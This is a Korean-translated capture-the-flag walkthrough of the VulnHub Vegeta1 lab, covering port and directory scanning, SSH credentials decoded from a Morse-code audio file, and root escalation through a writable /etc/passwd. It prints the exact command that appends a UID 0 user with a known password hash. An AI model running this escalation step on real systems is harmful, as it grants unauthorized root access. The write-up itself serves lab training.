VulnHub - Vegeta1 - 연습
메타데이터
IP: 192.168.120.73
난이도: 쉬움
요약
이 시스템은 오디오 파일 내부의 모스 부호에서 SSH 자격 증명을 복구하여 악용됩니다./etc/passwd에서 잘못 구성된 파일 권한을 남용하여 권한이 상승했습니다.
열거
엔맵
nmap
스캔을 실행하여 시작합니다.└─$ sudo nmap -sC -sV -oA initial 192.168.120.73
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-27 17:56 EST
Nmap scan report for 192.168.120.73
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1f:31:30:67:3f:08:30:2e:6d:ae:e3:20:9e:bd:6b:ba (RSA)
| 256 7d:88:55:a8:6f:56:c8:05:a4:73:82:dc:d8:db:47:59 (ECDSA)
|_ 256 cc:de:de:4e:84:a8:91:f5:1a:d6:d2:a6:2e:9e:1c:e0 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
포트 80
웹브라우저를 통해 포트 80으로 이동해 보겠습니다. URL 상자에서 IP를 탐색하면 아래 이미지와 같이 다음 웹 페이지가 표시됩니다.
큭큭
다음으로 다음과 같이 단어 목록/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt를 사용하여
ffuf
스캔을 실행합니다.└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://192.168.120.73/FUZZ -c -v -fs 119
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.120.73/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 119
________________________________________________
[Status: 301, Size: 314, Words: 20, Lines: 10]
| URL | http://192.168.120.73/img
| --> | http://192.168.120.73/img/
* FUZZ: img
[Status: 301, Size: 316, Words: 20, Lines: 10]
| URL | http://192.168.120.73/image
| --> | http://192.168.120.73/image/
* FUZZ: image
[Status: 301, Size: 316, Words: 20, Lines: 10]
| URL | http://192.168.120.73/admin
| --> | http://192.168.120.73/admin/
* FUZZ: admin
[Status: 301, Size: 317, Words: 20, Lines: 10]
| URL | http://192.168.120.73/manual
| --> | http://192.168.120.73/manual/
* FUZZ: manual
[Status: 403, Size: 279, Words: 20, Lines: 10]
| URL | http://192.168.120.73/server-status
* FUZZ: server-status
[Status: 301, Size: 316, Words: 20, Lines: 10]
| URL | http://192.168.120.73/bulma
| --> | http://192.168.120.73/bulma/
* FUZZ: bulma
:: Progress: [207643/207643] :: Job [1/1] :: 1721 req/sec :: Duration: [0:02:32] :: Errors: 0 ::
이 스캔에서 디렉토리/bulma가 발견됩니다.
웹 열거
브라우저에서 탐색http://192.168.120.161/bulma/할 때 wav 파일 hahahaha.wav를 찾습니다.
추가 조사를 위해 이 파일을 다운로드합니다.
└─$ wget http://192.168.120.73/bulma/hahahaha.wav
--2022-02-27 18:55:03-- http://192.168.120.73/bulma/hahahaha.wav
Connecting to 192.168.120.73:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 236124 (231K) [audio/x-wav]
Saving to: ‘hahahaha.wav’
hahahaha.wav 100%[==============================================>] 230.59K 593KB/s in 0.4s
2022-02-27 18:55:03 (593 KB/s) - ‘hahahaha.wav’ saved [236124/236124]
착취
모스 식 부호
wav 파일을 들어보면 모스 부호처럼 들립니다. 온라인 모스 부호 오디오 디코더https://morsecode.world/international/decoder/audio-decoder-adaptive.html를 사용하여 다음 메시지를 얻습니다.
ATTTTTTTTTT7 TRUNKS PASSWORD : US3R(S IN DOLLARS SYMBOL)
이는 다음과 같이 해석될 수 있습니다.
사용자 이름:
TRUNKS
비밀번호:
U$3R
SSH
사용자 이름 암호 쌍
trunks:u$3r
을 대상에 SSH로 시도합니다.└─$ ssh [email protected]
[...]
[email protected]'s password:
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
[...]
trunks@Vegeta:~$ id
uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
trunks@Vegeta:~$
권한 에스컬레이션
처음에는 sudo 권한을 찾으려고 시도합니다.
trunks@Vegeta:~$ sudo -l
-bash: sudo: command not found
trunks@Vegeta:~$
운이 없다.
홈 디렉토리/home/trunks/에는 .bash_history 파일이 있습니다.
trunks@Vegeta:~$ ls -al
total 32
drwxr-xr-x 3 trunks trunks 4096 Aug 12 2020 .
drwxr-xr-x 3 root root 4096 Jun 28 2020 ..
-rw------- 1 trunks trunks 382 Jun 28 2020 .bash_history
-rw-r--r-- 1 trunks trunks 220 Jun 28 2020 .bash_logout
-rw-r--r-- 1 trunks trunks 3526 Jun 28 2020 .bashrc
drwxr-xr-x 3 trunks trunks 4096 Jun 28 2020 .local
-rw-r--r-- 1 trunks trunks 33 Feb 28 04:14 local.txt
-rw-r--r-- 1 trunks trunks 807 Jun 28 2020 .profile
파일에서 다음 내용을 찾습니다.
trunks@Vegeta:~$ cat .bash_history
perl -le ‘print crypt(“Password@973″,”addedsalt”)’
perl -le 'print crypt("Password@973","addedsalt")'
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
ls
su Tom
ls -la
cat .bash_history
sudo apt-get install vim
apt-get install vim
su root
cat .bash_history
exit
사용자
Tom
가 생성된 것 같습니다. 그러나 사용자 Tom은/etc/passwd에 존재하지 않습니다.trunks@Vegeta:~$ cat /etc/passwd | grep "Tom"
trunks@Vegeta:~$
또한/etc/passwd의 파일 권한을 확인하면 사용자
trunks
에게 쓰기 권한이 있습니다.trunks@Vegeta:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwd
/home/trunks/.bash_history의 내용을 사용하여 사용자 Tom을/etc/passwd에 추가할 수 있습니다. 다음과 같이 권한을 루트로 확대할 수 있습니다(암호는
Password@973
).trunks@Vegeta:~$ echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
trunks@Vegeta:~$ su Tom
Password:
root@Vegeta:/home/trunks# id
uid=0(root) gid=0(root) groups=0(root)
증거
root@Vegeta:~# hostname && whoami && cat proof.txt && ip a
Vegeta
root
a91[...]
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens35: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:bf:67:0d brd ff:ff:ff:ff:ff:ff
inet 192.168.120.73/24 brd 192.168.120.255 scope global ens35
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:febf:670d/64 scope link
valid_lft forever preferred_lft forever
Reference
이 문제에 관하여(VulnHub - Vegeta1 - 연습), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/1nf3rn0/vulnhub-vegeta1-walkthrough-3lkn텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)